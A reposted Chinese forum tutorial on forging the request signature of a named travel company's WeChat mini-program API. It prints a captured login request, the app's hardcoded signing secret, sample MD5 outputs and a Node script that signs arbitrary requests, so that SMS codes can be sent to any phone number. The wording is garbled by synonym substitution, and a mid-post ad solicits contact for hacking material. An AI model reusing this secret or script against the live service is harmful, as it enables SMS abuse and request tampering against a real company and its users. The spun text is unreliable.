小步伐绕过 sign 签名

打印 上一主题 下一主题

主题 892|帖子 892|积分 2676

之前看到了一篇文章【小步伐绕过sign签名思绪】之前在做小步伐渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思绪后,又遇到了这种情况,记载下过程。
并没有漏洞分享,仅仅是把小步伐也分享出来,方便各人测试学习。
小步伐 父母邦亲子旅行旅馆营地乐园活动。
在登录时验证码登录的数据包
  1. POST /wxapp/login/send_messages?format=json HTTP/1.1
  2. Host: api.fumubang.com
  3. Content-Length: 118
  4. Xweb_xhr: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
  6. Content-Type: application/json
  7. Accept: */*
  8. Sec-Fetch-Site: cross-site
  9. Sec-Fetch-Mode: cors
  10. Sec-Fetch-Dest: empty
  11. Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
  12. Accept-Encoding: gzip, deflate, br
  13. Accept-Language: zh-CN,zh;q=0.9
  14. Connection: close
  15. {"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}
复制代码
[img=720,380.8955223880597]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339215.png[/img]

我们直接修改手机号,重放数据包。
[img=720,372.7857935627081]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339217.png[/img]

提示签名失败。
打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet​
[img=720,379.252443933295]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339218.png[/img]

将目录下所有文件全部删除 并重新打开小步伐,此时生成的唯一文件夹,就是对应的该小步伐的代码。
[img=720,298.67608120035305]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339219.png[/img]

对小步伐进行反编译
[img=720,84.48]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339220.png[/img]

因为有一些依赖于 wx 所以只能提供思绪
[img=720,377.3710482529118]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339221.png[/img]

我们看到 sign 的创建流程
[img=720,346.384872080089]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339222.png[/img]

所以只需要构造满意 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");​ 就好啦。
初期思绪是这样子的
[img=720,152.4]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339223.png[/img]

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本领手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
柳暗花明

我们加入调试
[img=720,410.00553403431104]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339225.png[/img]

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数。
利用微信开发者工具进行模拟利用。
加入断点
[img=720,354.0612725844462]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339226.png[/img]

继承步入
[img=720,288.901055924912]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339227.png[/img]

可以添加字段 查看对应的值。
继承步入
[img=720,173.11148086522462]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339228.png[/img]

该函数首先创建一个空数组 e​,然后通过 Object.keys(r).sort()​ 获取对象 r​ 的所有键,并进行排序。遍历排序后的键数组,判定键值是否符合特定条件,并将满意条件的键值对拼接成字符串并存入数组 e​ 中。 末了得到的值是:
scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e​
[img=720,490.14925373134326]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339229.png[/img]

返回值为 64d78d749828368851331593fa1e1ceb
[img=720,189.26470588235293]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339230.png[/img]

[img=720,326.4066852367688]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339231.png[/img]

就是对应字符串生成的 md5 的值。
我们修改一下数据包
[img=720,372.0222634508349]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339232.png[/img]

发送成功。
修改手机号的数据包
[img=720,372.317880794702]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339234.png[/img]

[img=720,377.58046614872364]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339235.png[/img]

将手机号修改后 提示签名失败。
  1. phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
  2. a90b19243e471d648d8eb5022d48066c
  3. phone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
  4. 85a840e3674201f2606b8b65f914b912
复制代码
[img=720,358.9983305509182]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339236.png[/img]

所以我们把代码稍微修改一下
  1. "use strict";
  2. var a = require("./md5.js");
  3. var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
  4. i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
  5. console.log(i);
复制代码
[img=720,185.87064676616916]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403201339237.png[/img]

成功破解了 sign 签名,可以发送任意数据包。
更多网安技能的在线实操训练,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表